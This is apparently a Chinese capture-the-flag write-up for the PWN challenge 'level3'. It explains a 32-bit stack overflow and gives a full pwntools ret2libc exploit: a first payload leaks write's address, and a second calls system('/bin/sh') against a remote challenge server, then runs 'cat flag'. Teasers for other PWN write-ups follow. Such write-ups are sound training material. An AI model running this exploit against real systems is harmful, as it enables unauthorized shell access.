通過ida開啟程式,f5鍵生成c的**如下:
int __cdecl main
(int argc,
const
char
**ar**,
const
char
**envp)
ssize_t vulnerable_function()
很明顯,vulnerable_function
的read
函式有注入點,可以複寫vulnerable_function
的返回位址。
但這題程式中沒有system
呼叫,因此要先找到system
和/bin/sh
字串在記憶體中的位置。
我們知道,write,read,system,"/bin/sh"雖然每次載入到記憶體中的位置都是不一樣的,但是他們的相對位置是固定的,因此,可以利用write
函式列印出write
或read
在記憶體中的位置,然後通過偏移值便可以得到system
和/bin/sh
在記憶體中的位置,通過第二次呼叫read
函式複寫返回位址便可以執行system('/bin/sh')
。
from pwn import
*elf = elf(
'libc_32.so.6'
)write_addr = elf.symbols[
'write'
]system_addr = elf.symbols[
'system'
]bash_addr =
next
(elf.search(b'/bin/sh'))
print
(hex
(write_addr)
,hex
(system_addr)
,hex
(bash_addr)
)print
(hex
(system_addr-write_addr)
,hex
(bash_addr-write_addr)
)
[*] 'd:\\1_workspace\\python\\ad\\libc_32.so.6'
arch: i386-32-little
relro: partial relro
stack: canary found
nx: nx enabled
pie: pie enabled
0xd43c0 0x3a940 0x15902b
-0x99a80 0x84c6b
#read 第一次執行
print
(r.recvuntil(
"input:\n"))
r.sendline(b'a'*(
0x88
+0x04
)+p32(f.plt[
'write'])
#返回位址
+p32(f.symbols[
'main'])
+p32(1)
#write的第乙個引數
+p32(f.got[
'write'])
#write的第二個引數,即write got指向的位址,即write的真實位址
+p32(4)
)#write的第三個引數
write_real_addr = u32(r.recv())
#每次執行都不一樣
這裡需要注意的是我們需要設定write
執行後的返回位址到main
或vulnerable_function
,這樣write
執行後我們才有機會再一次執行read
函式獲取系統呼叫。
#read 第二次執行
r.sendline(b'a'*(
0x88
+0x04
)+p32(write_real_addr+system_addr-write_addr)
#返回位址
+p32(0)
+p32(write_real_addr+bash_addr-write_addr)
)#system的第乙個引數,呼叫system('/bin/sh')
r.sendline(
'cat flag'
)print
(r.recv(
))
from pwn import
*f = elf(
'libc_32.so.6'
)write_addr = f.symbols[
'write'
]system_addr = f.symbols[
'system'
]bash_addr =
next
(f.search(b'/bin/sh'))
f = elf(
'level3'
)r = remote(
"220.249.52.133"
,33119
)write_call=
0x08048460
#read 第一次執行
print
(r.recvuntil(
"input:\n"))
r.sendline(b'a'*(
0x88
+0x04
)+p32(f.plt[
'write'])
#返回位址
+p32(f.symbols[
'main'])
+p32(1)
#write的第乙個引數
+p32(f.got[
'write'])
#write的第二個引數,即write got指向的位址,即write的真實位址
+p32(4)
)#write的第三個引數
write_real_addr = u32(r.recv())
print
(hex
(write_real_addr)
)print
(r.recv())
#read 第二次執行
r.sendline(b'a'*(
0x88
+0x04
)+p32(write_real_addr+system_addr-write_addr)
#返回位址
+p32(0)
+p32(write_real_addr+bash_addr-write_addr)
)#system的第乙個引數,呼叫system('/bin/sh')
r.sendline(
'cat flag'
)print
(r.recv(
))
攻防世界PWN之Welpwn題解
首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...
攻防世界PWN之dubblesort題解
首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...
攻防世界PWN之Nobug題解
首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...